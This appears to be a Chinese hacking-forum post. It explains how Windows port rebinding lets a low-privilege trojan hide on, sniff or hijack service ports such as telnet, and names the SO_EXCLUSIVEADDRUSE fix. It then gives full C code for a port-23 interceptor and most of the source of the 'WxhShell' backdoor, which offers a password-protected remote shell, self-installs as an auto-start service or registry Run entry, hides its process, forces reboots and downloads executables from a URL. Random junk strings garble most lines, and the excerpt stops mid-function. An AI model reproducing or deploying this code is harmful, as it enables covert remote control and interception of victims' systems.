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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SG@-b(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G>f2E49BXt  
\Jy/ a-  
  saddr.sin_family = AF_INET; zC<k4[.  
&U7INUL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BfOQ/k))  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'PK;Fg\  
W3aFao>!OZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?vn9HhTD  
bjCO@t  
  这意味着什么?意味着可以进行如下的攻击: Pua| Z x  
jPc"qER!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 14Y<-OO: k  
JDp{d c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t'{IE!_  
HmQ.'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D6L5X/#  
[3|&!:4g6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P~d&PhOe  
CaE1h9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J,SP1-L  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R;l;;dC=  
m]Gxep0%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F)n^pT  
kVeR{i<*(  
  #include n> tru L  
  #include 2>+(OL4l  
  #include ]o+5$L,5b  
  #include    [Zxv&$SQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `WRM7  
  int main() u/_TR;u= q  
  { K6d2}!5  
  WORD wVersionRequested; /?*GJN#  
  DWORD ret; <reALC  
  WSADATA wsaData; -g\;B  
  BOOL val; :}*   
  SOCKADDR_IN saddr; rHaj~s 4  
  SOCKADDR_IN scaddr; B9(@ .  
  int err; :tf'Gw6v  
  SOCKET s; zN3b`K. i  
  SOCKET sc; &m=73 RN  
  int caddsize; }5]2tH${  
  HANDLE mt; X 7R&>Pf  
  DWORD tid;   N(Sc!rX  
  wVersionRequested = MAKEWORD( 2, 2 ); RIdh],-  
  err = WSAStartup( wVersionRequested, &wsaData ); 1tIJ'#6  
  if ( err != 0 ) { 'B\7P*L"p  
  printf("error!WSAStartup failed!\n"); *hvC0U@3  
  return -1; hZ`<ID  
  } G nPrwDB  
  saddr.sin_family = AF_INET; ORx6r=zg  
   ISHzlEY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cNl NJ  
w<&R|= 93  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U[EZ, 7n8  
  saddr.sin_port = htons(23); C C B'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rn$[P.||  
  { |R&cQKaQ`  
  printf("error!socket failed!\n"); Mj6 0?k  
  return -1; H):(8/> (  
  } 3 63KU@`  
  val = TRUE; x/dyb.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "IN[(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F}~qTF;H  
  { aqEmF  
  printf("error!setsockopt failed!\n"); $a'}7Q_  
  return -1; 6,cJ3~!48  
  } SA?lDRF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ggk#>O G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VVJIJ9L&C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 46##(4RF  
$f?GD<}?7r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m+Kl   
  { Y'<wE2ZL)  
  ret=GetLastError(); />n!2'!  
  printf("error!bind failed!\n"); MY}/h@  
  return -1; |Iknk,  
  } k+BY3a  
  listen(s,2); ua E,F^p  
  while(1) K7X*N  
  { #&X5Di[A  
  caddsize = sizeof(scaddr); B$M4f7  
  //接受连接请求 GkpYf~\Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a<J< Oc!  
  if(sc!=INVALID_SOCKET) UD=[::##  
  { ,_ TE@ ]!$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gBr /Y}I  
  if(mt==NULL) NvC @  
  { 2@W`OW Njm  
  printf("Thread Creat Failed!\n"); ~O~iP8T  
  break; tOX -vQ  
  } G.r .Z0  
  } .W\JvPTC  
  CloseHandle(mt); )t((x  
  } n&,X ']z.  
  closesocket(s); *cZ7?  
  WSACleanup(); $xCJ5M4  
  return 0; :k-@w5(  
  }   7 0PGbAD  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zv2]X-  
  { * mH&Gn1  
  SOCKET ss = (SOCKET)lpParam; 'P*OzZ4>$  
  SOCKET sc; +IMt$}7[  
  unsigned char buf[4096]; >{l b|Vx  
  SOCKADDR_IN saddr; PjofW%7F  
  long num; 9oIfSr,y  
  DWORD val; -oTdi0P  
  DWORD ret; -Kw7! =_ g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n0G@BE1Y=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J:J/AgJuH  
  saddr.sin_family = AF_INET; ~k%XW$cV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4]FS jVO  
  saddr.sin_port = htons(23); 6v74mIRn'?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r9*6=*J|  
  { 8H1&=)M=  
  printf("error!socket failed!\n"); ' 9%iHx-<  
  return -1; u@P1`E1Q  
  } 5(GVwv  
  val = 100; JP(0/?Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p"7[heExw  
  { @=%g{  
  ret = GetLastError(); ;VEKrVD  
  return -1; wz{c;v\J^  
  } Z +O< IF%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GXk |p8  
  { f3 imkZ(  
  ret = GetLastError(); xj9xUun  
  return -1; #2lvRJB  
  } ;U$Rd,T4S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _k;HhLj`  
  { 3[m2F O,Z  
  printf("error!socket connect failed!\n"); \/C5L:|p_  
  closesocket(sc); lIZ&' z  
  closesocket(ss); `~_H\_JpO  
  return -1; Jw>na _FJ  
  } ?G<?: /CU  
  while(1) <:&{c-f/  
  { o q6^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ck>]+rl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NTO.;S|2%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5y] %Cu1.u  
  num = recv(ss,buf,4096,0); =q|//*t2  
  if(num>0) GctV  
  send(sc,buf,num,0); "c?31$6  
  else if(num==0) gIIF17|Z  
  break; :t;i2Ck  
  num = recv(sc,buf,4096,0); B9Wd '  
  if(num>0) VS!v7-_N5  
  send(ss,buf,num,0); FD~ U F;VQ  
  else if(num==0) 9]lyV  
  break; [Q\(k d*4  
  } a,)/D_{1  
  closesocket(ss); F~hH>BH9  
  closesocket(sc); 'NCx<0*  
  return 0 ; Eau V  
  } hy@b/Y![M  
O(9*VoD  
(_+ux1h6^  
========================================================== l8 $.k5X  
e\f\CMb  
下边附上一个代码,,WXhSHELL c/:k|x  
*~*"p)`<  
========================================================== 5*Qzw[[=  
rY&#g%B6Fp  
#include "stdafx.h" 9 '(m"c_  
 c,M"a  
#include <stdio.h> g6S-vSX,  
#include <string.h> g!r) yzK  
#include <windows.h> jxt]Z3a~0  
#include <winsock2.h> $!_}d  
#include <winsvc.h> T|j=,2_  
#include <urlmon.h> 4x?I,cAN  
!R#PJH/TM  
#pragma comment (lib, "Ws2_32.lib") -V[!qI  
#pragma comment (lib, "urlmon.lib") kA)`i`gt  
8Bh micU  
#define MAX_USER   100 // 最大客户端连接数 B[ D s?:  
#define BUF_SOCK   200 // sock buffer TDWD8??e  
#define KEY_BUFF   255 // 输入 buffer .3@Pz]\M#>  
)]<^*b>  
#define REBOOT     0   // 重启 _JA)""l%  
#define SHUTDOWN   1   // 关机 1,U)rx$H  
>IA1 \?(  
#define DEF_PORT   5000 // 监听端口 zwP*7u$CH  
[Ls%nz|  
#define REG_LEN     16   // 注册表键长度 sJl>evw  
#define SVC_LEN     80   // NT服务名长度 /11CC \  
b^()[4M;  
// 从dll定义API Ml{4)%~Y7f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T!pZj_ h=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "?W8 o[c+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ">S1,rhgS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i }Zz[b  
0tPwhJ  
// wxhshell配置信息 5lM 3In@  
struct WSCFG { i .eMrzJ|  
  int ws_port;         // 监听端口 oR7f3';?6  
  char ws_passstr[REG_LEN]; // 口令 i=pfjC  
  int ws_autoins;       // 安装标记, 1=yes 0=no c? GV  
  char ws_regname[REG_LEN]; // 注册表键名 huR ^l  
  char ws_svcname[REG_LEN]; // 服务名 |?MD>Pez  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hewc5vrL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F&3:]1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IlI5xkJ(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Sco'] ^#(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y`6<:8[?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [biz[ fm  
CP$,fj  
}; /Bk`3~]E>  
6@FxPi9|#  
// default Wxhshell configuration w_LkS/  
struct WSCFG wscfg={DEF_PORT, )|5mW  
    "xuhuanlingzhe", |%3>i"Y@AK  
    1, [;'$y:L=g  
    "Wxhshell", 62G %.'7  
    "Wxhshell", Q7UQwAN'  
            "WxhShell Service", 9+.3GRt7  
    "Wrsky Windows CmdShell Service", Bi"cWO  
    "Please Input Your Password: ", )oM% N  
  1, }>3jHWxLc  
  "http://www.wrsky.com/wxhshell.exe", iuM ,a F  
  "Wxhshell.exe" lR`.V0xA   
    }; ]~ S zb  
LA(/UA3Izd  
// 消息定义模块 {W%XS E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ec*Ni|`Z'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E5*pD*#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NpbZt;%t  
char *msg_ws_ext="\n\rExit."; ygK,t*T20  
char *msg_ws_end="\n\rQuit."; 0wF)bQv1  
char *msg_ws_boot="\n\rReboot..."; wNNg"}&P  
char *msg_ws_poff="\n\rShutdown..."; mT;   
char *msg_ws_down="\n\rSave to "; }We-sZ/w7r  
b'ir$RL] c  
char *msg_ws_err="\n\rErr!"; 8M BY3F  
char *msg_ws_ok="\n\rOK!"; SK*<H~2  
3J3wKw!`  
char ExeFile[MAX_PATH]; :SZi4:4-J8  
int nUser = 0; bZj5qjl`x  
HANDLE handles[MAX_USER]; p`!<yq2_  
int OsIsNt; [8 23w.{]#  
64^3ve3/a=  
SERVICE_STATUS       serviceStatus; SWT)M1O2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vp1Nk#H  
SxkY ;^-U  
// 函数声明 5UG"i_TC  
int Install(void); wX <ov0?[  
int Uninstall(void); Ksk[sf?J&  
int DownloadFile(char *sURL, SOCKET wsh); "K;""]#wg0  
int Boot(int flag); <" 0b 8 Z  
void HideProc(void); I y5)SZ'  
int GetOsVer(void); lj+&3<E  
int Wxhshell(SOCKET wsl); H#T&7X_<  
void TalkWithClient(void *cs); oTTE<Ct [  
int CmdShell(SOCKET sock); 3XncEdy_  
int StartFromService(void); \#C]|\  
int StartWxhshell(LPSTR lpCmdLine); xlc2,L;i  
]v+yeGIKS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iRV=I,  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  / w[Tu  
-"x@V7X  
// 数据结构和表定义 tK 6=F63e  
SERVICE_TABLE_ENTRY DispatchTable[] = MaF4lFmS  
{ ih : XC  
{wscfg.ws_svcname, NTServiceMain}, |>wGl  
{NULL, NULL} 02YmV%  
}; \9}DAM_  
o,/wE  
// 自我安装 ^bLFY9hSC  
int Install(void) ,=: -&~?  
{ \]3[Xw-$  
  char svExeFile[MAX_PATH]; TrQUhmS/!  
  HKEY key; ku#WQL  
  strcpy(svExeFile,ExeFile); p ^)3p5w  
HzsQ`M4cA  
// 如果是win9x系统,修改注册表设为自启动 w=5<mw  
if(!OsIsNt) { u7},+E)+B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a/[)A _-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q9&H/]"v  
  RegCloseKey(key); 7}pg7EF3z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  _ Ewkb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :*YnH&  
  RegCloseKey(key); AP ]`'C  
  return 0; q w @g7  
    } VL|Z+3L  
  } WS%yV|e  
} jVqpokWH  
else { +fQJ#?N2n  
\p^'[B(O77  
// 如果是NT以上系统,安装为系统服务 FB %-$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zh`[A9I/  
if (schSCManager!=0) ?. Ip(g  
{ '1~;^rU  
  SC_HANDLE schService = CreateService 8d&%H,  
  ( U.Y7]#P:  
  schSCManager, 2WE01D9O  
  wscfg.ws_svcname, U/_hH*N"!  
  wscfg.ws_svcdisp, Lb{.}  
  SERVICE_ALL_ACCESS, 7R5+Q\W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZKM@U?PK  
  SERVICE_AUTO_START, (O& HCT|  
  SERVICE_ERROR_NORMAL, 7}`FXB  
  svExeFile, R \]C;@J<  
  NULL, 69`*u<{PC  
  NULL, ~.tYYX<  
  NULL, 3 rR1/\  
  NULL, _hMFmI=r[  
  NULL Mq_P'/  
  ); DWN9_*{  
  if (schService!=0) /Pg)@*~  
  { #w:nj1{_  
  CloseServiceHandle(schService); 8s %YudW  
  CloseServiceHandle(schSCManager); 4um^7Ns)7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !OMCsUZ  
  strcat(svExeFile,wscfg.ws_svcname); A4rkwM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wfy+9"-;s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =ADOf_n}  
  RegCloseKey(key); 2jxIr-a1G  
  return 0; /rky  
    } Av4(=}M}@  
  } WBb*2  
  CloseServiceHandle(schSCManager); z;_vl  
} -!K&\hEjj  
} 5>ktr)]  
Nr).*]g@~  
return 1; )uMv]  
} 4Z5;y[k(  
~O]{m,)n  
// 自我卸载 iio-RT?!  
int Uninstall(void) z7+>G/o  
{ *z.rOY= 8  
  HKEY key; \A)Pcc}7  
NEvNj  
if(!OsIsNt) { N;k)>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xW2?\em  
  RegDeleteValue(key,wscfg.ws_regname); `zB bB^\`W  
  RegCloseKey(key); DIJmISk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M|zTs\1I  
  RegDeleteValue(key,wscfg.ws_regname); [rL 8L6,!  
  RegCloseKey(key); 7[!dm_  
  return 0;  nF<xJs  
  } ^@{"a  
} f1;@a>X  
} R[)bGl6#  
else { ZKq#PB/.  
ei{tW3 H$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xo&\~b#-  
if (schSCManager!=0) 6 jm@`pYbE  
{ M"bG(a(6:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  sFnR;  
  if (schService!=0) WW>m`RU`  
  { gVI`&W__,  
  if(DeleteService(schService)!=0) { ~(7ct*U~  
  CloseServiceHandle(schService); o)]O  
  CloseServiceHandle(schSCManager); 5jUy[w @  
  return 0; +l.LwA  
  } O0s!3hKu  
  CloseServiceHandle(schService); M)nh~gU  
  } E@n~ @|10  
  CloseServiceHandle(schSCManager); e+D]9wM8  
} }`%ks  
} c!'\k,ma<9  
2eA.04F  
return 1; {?2|rv)  
} #NYHwO<0-  
dv+ZxP%g  
// 从指定url下载文件 ^SKHYo`,,N  
int DownloadFile(char *sURL, SOCKET wsh) IkjJqz  
{ Li"+`  
  HRESULT hr; ~PpDrJ; Va  
char seps[]= "/"; h/5S2EB0!O  
char *token; 9 wbQ$>G9  
char *file; &[_@f#  
char myURL[MAX_PATH]; he:z9EG}  
char myFILE[MAX_PATH]; RyG6_ G}  
tf|;'Nc6  
strcpy(myURL,sURL); sR[!6[AA  
  token=strtok(myURL,seps); ",J&UTUh  
  while(token!=NULL) q=D8 Nz  
  { '3Q~y"C+4  
    file=token; =QbOvIq  
  token=strtok(NULL,seps); >]xW{71F@  
  } -2>s#/%  
Y:L[Iz95o  
GetCurrentDirectory(MAX_PATH,myFILE); 4,Oa(b  
strcat(myFILE, "\\"); c$^v~lQS  
strcat(myFILE, file); G5K?Q+n   
  send(wsh,myFILE,strlen(myFILE),0); UnP<`z#  
send(wsh,"...",3,0); *hJWuMfY,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HLG5SS7  
  if(hr==S_OK) N N1}P'6Ha  
return 0; HKI\i)c  
else *Egg*2P;"Q  
return 1; a:`<=^:4,  
cs.t#C  
} s%`l>#H  
EU%v |]  
// 系统电源模块 ]+3M\ ib  
int Boot(int flag) 9_iwikD  
{ ~<9e }J  
  HANDLE hToken; (a8iCci:   
  TOKEN_PRIVILEGES tkp; JGTsVa2  
#asi%&3pP  
  if(OsIsNt) { /|i*'6*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3Il._]#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AWx@Z7\z"g  
    tkp.PrivilegeCount = 1; Sw,*#98  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #$-?[c$>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oe2*$\?.  
if(flag==REBOOT) { ;-@: }/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ")\V  
  return 0; KN`k+!@/7  
} >yXhP6  
else { &*ocr&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R6o  D  
  return 0; f_[dFKoX  
} l&U$L N$*e  
  } %<a3[TQd`\  
  else { IF|;;*Z8  
if(flag==REBOOT) { ^Cp2#d*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8a)Brl}u  
  return 0; VrP{U-`  
} LO)!Fj4|  
else { SJa>!]U'xI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #&?ER]|3  
  return 0; BO7HJF)a  
} Xm>zT'B_tJ  
} FGHCHSqLq  
e1h7~ j  
return 1; O!f37n-TB  
} H@G$K@L  
,3T"fT-(  
// win9x进程隐藏模块 QY&c=bWAX"  
void HideProc(void) rZ3ji(4HS  
{ ou~$XZ7oi  
E~fb#6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  @9_mk@  
  if ( hKernel != NULL ) }BI6dZ~2A  
  { |TM n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `G\Gk|4; 2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nCWoco.xy  
    FreeLibrary(hKernel); u%:`r*r  
  } jIe /X]  
=dA] nM  
return; hN!;Tny  
} .-M5.1mo\(  
tB~#;:g  
// 获取操作系统版本 -_5Dk'R#`  
int GetOsVer(void) WVpx  
{ JFX}))7  
  OSVERSIONINFO winfo; \}=T4w-e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dLb$3!3  
  GetVersionEx(&winfo); lCp6UkE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qm><}N7f  
  return 1; l9Ol|Cb&  
  else 4Xa] yA =  
  return 0; lkTA"8d  
} ;6pB7N  
I]W7FZ=o  
// 客户端句柄模块 u3O@ccJ;  
int Wxhshell(SOCKET wsl) \)t//0  
{ iT Aj$ { >  
  SOCKET wsh; Cfmd*,  
  struct sockaddr_in client; 6}N`YOJ.  
  DWORD myID; ( `bb1gz  
uGC5XX^  
  while(nUser<MAX_USER) "z Y~*3d  
{ eo4z!@pRN  
  int nSize=sizeof(client); \h#aPG<yo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P7=`P  
  if(wsh==INVALID_SOCKET) return 1; uXFI7vV6P  
Rh~b,"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }YdC[b$j^  
if(handles[nUser]==0) z;oia!9z  
  closesocket(wsh); &Hp*A^M  
else jXf@JxQ  
  nUser++; _"Ym]y28li  
  } DL4`j>2Ov  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [q!]Ds" _  
B7'#8heDh  
  return 0; 1T|")D  
} pp(09y`]  
GNv{ Ij<  
// 关闭 socket su=MMr>  
void CloseIt(SOCKET wsh) r&a} U6k(y  
{ KO8{eT9d  
closesocket(wsh); 0~BaQ, A @  
nUser--; #N`G2}1J  
ExitThread(0); lq_UCCnv5  
} ck0%H#BYY  
hu0z 36  
// 客户端请求句柄 Q ]TZyk  
void TalkWithClient(void *cs) ,5W u  
{ c]x-mj =  
,yNuz@^ P  
  SOCKET wsh=(SOCKET)cs; }(u:K}8  
  char pwd[SVC_LEN]; 7Ji'7$  
  char cmd[KEY_BUFF]; U=KUx  
char chr[1]; Ey: ?!  
int i,j; .-HM{6J  
9F 3,  
  while (nUser < MAX_USER) { C)i8XX  
s) s9Z,HY  
if(wscfg.ws_passstr) { 4Us,DS_/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BV@q@C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sw E7U~  
  //ZeroMemory(pwd,KEY_BUFF); 3xz~##  
      i=0; {,Vvm*L/  
  while(i<SVC_LEN) { j"~"-E(79  
^ wZx=kas  
  // 设置超时 \e4AxLP  
  fd_set FdRead; 6BA$v-VVU  
  struct timeval TimeOut; !l#aq\:}~e  
  FD_ZERO(&FdRead); fWA# n  
  FD_SET(wsh,&FdRead); OHAU@*[lM  
  TimeOut.tv_sec=8; LYYz=oZOE!  
  TimeOut.tv_usec=0;  ~ e?af  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V Zbn@1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O&/n BHu\  
2 ^"j]g>mj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L7 <30"7  
  pwd=chr[0]; |)>+& xk  
  if(chr[0]==0xd || chr[0]==0xa) { hC"'cUrcN  
  pwd=0; Xa>'DO2  
  break; mgH~GKf^  
  } @0EY5{&  
  i++; >G!=lLyR  
    }  $L uU  
)P9]/y  
  // 如果是非法用户,关闭 socket TtrO_D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 93.\.&L\  
} xC9?rLUZ  
`'iO+/;GY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .'66]QW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jjj;v2uSK  
*[ 0,QEy  
while(1) { (5Q<xJ  
Pm^FSw"  
  ZeroMemory(cmd,KEY_BUFF); F(/<ADx  
sbVEA  
      // 自动支持客户端 telnet标准   ~kV>nx2  
  j=0; CIo`;jt K  
  while(j<KEY_BUFF) { d5LBL'/o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aUa+]H[  
  cmd[j]=chr[0]; oVP,a r0G  
  if(chr[0]==0xa || chr[0]==0xd) { "h1ek*(?<  
  cmd[j]=0; ~~&Bp_9QXN  
  break; k9H}nP$F  
  } &m36h`tM  
  j++; D,p 2MBr  
    } n4{?Odrf  
uIO?4\s&G  
  // 下载文件 *uK!w(;2  
  if(strstr(cmd,"http://")) { -0;{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yMkR)HY  
  if(DownloadFile(cmd,wsh)) gGCr~.5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v h)CB8  
  else Bkn]80W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^FNju/b  
  } Y cL((6A  
  else { & \5Ur^t  
$!p2Kf>/Q  
    switch(cmd[0]) {  )D+eWo  
  ;mD!8<~z.  
  // 帮助 U . <c#S  
  case '?': { krlebPs[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y/m-EL  
    break; &uaSp, L  
  } PQF 40g1}  
  // 安装 cRag0.[  
  case 'i': { d5 ]-{+V+  
    if(Install()) .8'uIA{_2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V$$9Rh  
    else Ai 8+U)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w0=/V[fs  
    break; 2C"i2/NH'  
    } ]I/* J^  
  // 卸载 LoJEchRK  
  case 'r': { 7r(c@4yPI  
    if(Uninstall()) rOUQg_y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^^uY)AL  
    else .}!.: |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?a, `{1m0\  
    break; &jnBDr  
    } \q!TI x  
  // 显示 wxhshell 所在路径 !q/Q2N(  
  case 'p': { h{~GzrL*  
    char svExeFile[MAX_PATH]; Q0 ezeo  
    strcpy(svExeFile,"\n\r"); ':\bn:;  
      strcat(svExeFile,ExeFile); j:48l[;ed  
        send(wsh,svExeFile,strlen(svExeFile),0); i(# Fjp  
    break; *ZRk)  
    } X,8Zn06M  
  // 重启 =b6G' O[  
  case 'b': { -4J.YF>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b9b`%9/L  
    if(Boot(REBOOT)) `'(@"-L:7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fgo3Gy*#  
    else { >N~jlr|  
    closesocket(wsh); ja{x}n*5  
    ExitThread(0); H\<PGC"_Y  
    } 5ry[Lgg  
    break; -=u9>S)!c  
    } mxc^IRj  
  // 关机 _39VL  
  case 'd': { s9u7zqCF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z#;\Rb.x7  
